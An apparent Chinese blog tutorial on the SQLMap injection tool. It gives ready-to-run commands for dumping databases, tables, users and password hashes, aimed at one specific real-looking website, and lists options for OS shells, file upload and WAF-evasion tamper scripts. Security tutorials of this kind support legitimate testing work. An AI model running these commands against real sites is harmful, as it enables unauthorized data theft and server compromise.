网络安全工具-SQLMap

本文详细介绍SQLMap工具,一个强大的自动化SQL注入工具,涵盖其基本功能、使用方法及高级技巧。解析SQLMap如何检测并利用SQL注入漏洞,以及如何通过各种技术进行数据库指纹识别、数据提取等操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

**

SQLMap简介
SQLMap是一个自动化SQL注入工具,主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySql,Oracle,PostgreSQL,Microsoft
SQL Server,Microsoft Access,IBM DB2,SQLList,Firebird,Sybase,SAP
MaxDB,SQLMap的强大功能包括数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全的操作权限时实行任意命令

**
SQLMap采用了以下5种独特的SQL注入技术

  • 1.基于布尔类型的盲注,即可以根据返回判断条件的真假注入
  • 2.基于时间的盲注,即不能根据页面返回的内容判断热呢信息,要用条件语句查看时间时间延迟语句是否已执行(页面返回时间是否增加)来判断
  • 3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
  • 4.联合查询注入,可以使用union的情况下的注入
  • 5.堆查询注入,可以同时执行多条语句的执行时的注入

SQLMap入门

  • 1.判断是否存在注入
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147”
    注:当注入点后边的参数,大于等于两个时,需要加双引号(习惯性的还是随时都加比较好)

  • 2.判断文本文件是否存在注入
    sqlmap –r DiskTop/1.txt
    注:一般在cookie注入时使用,txt文件内容一般为Web数据包

  • 3.查询当前用户下所有数据库
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --dbs
    注:继续注入时,–dbs缩写成-D

  • 4.获取数据库中表明
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” -D database() --tables
    注:database()指具体数据库,–tables在继续注入时指定为-T

  • 5.获取表中字段名
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” -D database() –T table() --columns
    注:database()代表数据库名,table()代表表名,后续注入中,–columns缩写成-C

  • 6.获取字段内容
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” -D database() –T table() -C id --dump
    注:database()代表数据库名,table()代表表名,id代表字段名,

  • 7.获取数据库所有用户
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --users

  • 8.获取数据库用户的密码
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --password

  • 9.获取当前网站数据库名
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --current-db

  • 10.获取当前数据库用户名
    sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --current-user

SQLMap进阶:参数讲解

  • 1.–level 5 探测等级
    –level 一共有5个等级(1-5),可以不加level,默认是1,SQLMap是用的Payload可以再xml/payload.xml中看到,也可以根据相应的格式添加自己的Payload,这个参数会影响注入点,GET和POST数据都会进行测试,
    http cookie 在 2 时测试
    HTTP User-Agent/Referer头在 3 时测试

  • 2.–is-dba 当前用户是否为管理权限

  • 3.–roles 列出数据库管理员角色
    注:可以-U指定想看那个用户的角色,此命令仅适用于Oracle

  • 4.–referer HTTP Referer头
    在请求中伪造HTTP的referer,当level参数设定为3或以上时,会尝试对referer注入

  • 5.–sql-shell 运行自定义的SQL语句

  • 6.–os-scd,–os-shell 运行任意操作系统命令

  • 7.–file-read 从数据库服务器中读取文件
    注:数据库为MySQL,PostgreSQL,SQL Server,并且当前用户有权使用特定函数时(文本或二进制文件)

  • 8.–file-write,–file-dest 上传文件到数据库服务器中
    注: 数据库为MySQL,PostgreSQL,SQL Server,并且当前用户有权使用特定函数时(文本或二进制文件)

SQLMap自带绕过脚本tamper讲解

  • 1.脚本结构
    Priority定义变量,dependencies,tamper定义函数

  • 2.–identify-waf 探测网站是否存在WAF/IDS/IPS

  • 3.常用tamper脚本

a)apostrophemask.py  将单引号替换为UTF-8,用于过滤单引号
b)base64encode.py  替换为base64编码
c)multiplespaces.py  围绕SQL关键字添加多个空格
d)space2plus.py  用+替换空格
e)nonrecursivereplacement.py  双重查询语句,用双重查询语句替代预定义的SQL关键字,(适用于非常弱的自定义过滤器,如将SELECT替换为空)
f)space2randomblack.py  将空格替换为其他有效字符
g)unionalltounion.py  将union all select替换为union select
h)securesphere.py  追加特制字符串
i)space2hash.py  将空格替换为#,并添加一个随机的字符串和换行符
j)space2mssqlblack.py(mssql)  将空格替换为其他空符号
k)space2mssqlhash  将空格替换为#,并添加一个换行符
l)between.py  用not between 0 and 替换 >,用between and 替换 =
m)percentage.py  ASP允许在每个字符前加一个%
n)sp_password.py  从DBMS日志的自动模糊处理的有效载荷中追加sp_password
o)charencode.py  对给定的payload全部字符使用URL编码
p)charunicodeencode.py  字符串unicode编码
q)space2comment.py  将空格替换为/**/
r)equaltolike.py  将等号替换为like
s)greatest.py  绕过对 > 的过滤,用greatest替换>(MySQL 4  MySQL 5  MySQL 5.5  Oracle 10g  PostgreSQL 8.3  PostgreSQL 8.4  PostgreSQL 9.0  )
t)ifnull2ifisnull.py  绕过对ifnull的过滤,替换类似ifnull(a,b)为if(isnull(a),b,a)
MySQL5.0 MySQL5.5
u)modsecurityversioned.py  过滤空格,使用MySQL内联注释方式注入(MySQL 5.0)
v)space2mysqlblack.py  将空格替换为其他空白符号(MySQL 5.1)
w)modsecurityzeroversioned.py  使用MySQL内联注释/*!00000*/进行注释(MySQL 5.0)
x)space2mysqldash.py  将空格替换为”--”并添加一个换行
y)bluecoat.py  在SQL语句之后用有效的随机空白符替换空格,随后用like替换等于
z)versionedkeywords.py  注释绕过
aa)halfversionedmorekeyword.py  数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本注释
ab)space2morehash.py  将空格替换为#,并添加一个随机字符串和换行符
ac)apostrophenullencode.py  用非法双字节unicode字符替换单引号
ad)appendnullbyte.py  在有效载荷的结束为止加载领字节字符编码
ae)chardoubleencode.py  对给定的payload全部字符使用双重URL编码(不处理以编码内容)
af)unmagicquotes.py  用一个多字节组合(%bf%27)和末尾通用注释一起替换空格
ag)randomcomments.py  用/**/分割SQL关键字
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

USG_f4d

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值